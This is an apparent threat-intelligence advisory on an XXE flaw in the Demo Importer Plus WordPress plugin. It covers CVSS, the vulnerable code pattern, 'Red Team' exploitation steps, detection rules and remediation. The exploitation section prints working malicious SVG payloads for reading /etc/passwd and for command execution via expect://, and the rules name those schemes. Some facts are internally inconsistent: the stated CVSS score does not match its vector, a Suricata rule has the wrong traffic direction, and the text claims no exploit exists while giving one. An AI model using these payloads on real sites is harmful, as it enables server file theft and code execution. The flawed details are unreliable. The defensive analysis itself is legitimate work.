CVE-2025-14478

Executive Summary

CVE-2025-14478 is a critical XML External Entity Injection (XXE) vulnerability discovered in the Demo Importer Plus WordPress plugin, affecting all versions up to and including 2.0.9. The flaw resides in the SVG file upload functionality, allowing authenticated attackers with Author-level access or higher to perform XXE attacks. In vulnerable PHP configurations (versions older than 8.0), this can lead to arbitrary code execution, data exfiltration, and server-side request forgery (SSRF). The vulnerability has a CVSS score of 7.5 (High) and currently has no known patch or public exploit code. The EPSS score is 0.0%, indicating low exploitation probability at this time, but the risk remains significant for sites running older PHP versions.

Supply Chain & Package Security

This vulnerability is specific to the WordPress ecosystem and the Demo Importer Plus plugin. It is not a supply chain attack on the plugin itself, but rather a code-level flaw in the plugin's SVG upload handling. Administrators should verify the plugin's source integrity and consider disabling the plugin until a patch is released.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Author-level)
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The high impact across all three security pillars, combined with low attack complexity and network exploitability, makes this a severe threat for affected WordPress installations.

Deep Dive & Mechanics

The vulnerability exists in the SVG file upload handler of the Demo Importer Plus plugin. When an authenticated user with Author-level privileges uploads an SVG file, the plugin fails to disable external entity processing in the XML parser. An attacker can craft a malicious SVG file containing an XXE payload to:

1. Read local files (e.g., /etc/passwd, wp-config.php).
2. Perform SSRF to internal services.
3. Execute arbitrary code if the PHP version is below 8.0 and the expect module is enabled (or via other PHP wrappers like php://input).

The vulnerability is specifically tied to PHP versions older than 8.0 because PHP 8.0+ disabled external entity loading by default in the libxml extension, mitigating this class of attacks.

Vulnerable vs. Patched Code

Since no official patch is available, the vulnerable code pattern is as follows:

Vulnerable Code (PHP < 8.0):

// In the SVG upload handler
$svg = simplexml_load_file($uploaded_file);
// No prior call to libxml_disable_entity_loader(true)

Mitigated Code (PHP >= 8.0 or with fix):

// Before parsing
libxml_disable_entity_loader(true);
$svg = simplexml_load_file($uploaded_file);

The fix involves explicitly disabling external entity loading before parsing any XML/SVG content.

Exploitation & Lab Setup

Red Team

Prerequisites:

• WordPress instance with Demo Importer Plus <= 2.0.9 installed and activated.
• PHP version < 8.0.
• Authenticated user with Author-level privileges.

Exploitation Steps:

1. Craft a malicious SVG file with an XXE payload. Example to read /etc/passwd:

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "file:///etc/passwd">
   ]>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <text x="10" y="20">&xxe;</text>
   </svg>
   

2. Upload the SVG via the plugin's media uploader (Author-level users can upload media by default).

3. Access the uploaded SVG URL to see the file contents rendered in the SVG text element.

4. For code execution (PHP < 8.0 with expect module):

   <?xml version="1.0" encoding="UTF-8"?>
   <!DOCTYPE foo [
     <!ENTITY xxe SYSTEM "expect://id">
   ]>
   <svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
     <text x="10" y="20">&xxe;</text>
   </svg>
   

Note: No public exploit code exists at this time.

Blue Team

Detection & Response:

• Monitor for SVG file uploads by Author-level users.
• Inspect uploaded SVG files for DOCTYPE declarations or external entity references.
• Check PHP version; if < 8.0, prioritize patching or upgrading.
• Implement WAF rules to block XXE payloads in file uploads.

Indicators of Compromise (IOCs)

• File Hashes: (None available; no known malicious samples)
• Network Indicators:
  • Outbound connections to unexpected external IPs/domains from the WordPress server.
  • HTTP requests containing file:// or expect:// schemes in uploaded SVG files.
• File System:
  • Unusual SVG files in /wp-content/uploads/ with DOCTYPE declarations.
  • Unexpected file reads (e.g., /etc/passwd, wp-config.php) in server logs.
• Log Entries:
  • PHP warnings related to simplexml_load_file or libxml errors.
  • Access logs showing requests to uploaded SVG files with unusual content.

Detection Engineering

YARA Rule

rule CVE_2025_14478_XXE_SVG {
    meta:
        description = "Detects malicious SVG files attempting XXE injection for CVE-2025-14478"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14478"
    strings:
        $xxe_doctype = /<!DOCTYPE\s+\w+\s*\[/ nocase
        $xxe_entity = /<!ENTITY\s+\w+\s+SYSTEM\s+["'](file|expect|php|data):/ nocase
        $svg_tag = /<svg[^>]*>/ nocase
    condition:
        $svg_tag and ($xxe_doctype or $xxe_entity)
}

Sigma Rule

title: CVE-2025-14478 - XXE via SVG Upload in Demo Importer Plus
id: 8a7b3c2d-1e5f-4a6b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SVG file uploads containing XXE payloads targeting Demo Importer Plus plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14478
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/async-upload.php'
        cs-uri-query|contains: 'demo-importer-plus'
    filter:
        cs-uri-query|contains: 'type=image/svg+xml'
    condition: selection and filter
falsepositives:
    - Legitimate SVG uploads by trusted users
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-14478 - XXE SVG Upload Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/async-upload.php"; http_uri; content:"demo-importer-plus"; http_uri; content:"image/svg+xml"; http_client_body; pcre:"/<!DOCTYPE\s+\w+\s*\[/i"; pcre:"/<!ENTITY\s+\w+\s+SYSTEM\s+["'](file|expect|php|data):/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Demo Importer Plus plugin until a patch is released.
2. Upgrade PHP: Ensure PHP version is 8.0 or higher, as this mitigates the XXE vulnerability by default.
3. Input Validation: Implement server-side validation to reject SVG files containing DOCTYPE declarations or external entities.
4. WAF Rules: Deploy web application firewall rules to block XXE payloads in file uploads.
5. Monitor: Review server logs for unusual SVG uploads and file access patterns.
6. Patch: Apply the official patch when released by the vendor.

Valters IT
DevSecOps & Cyber Threat Intelligence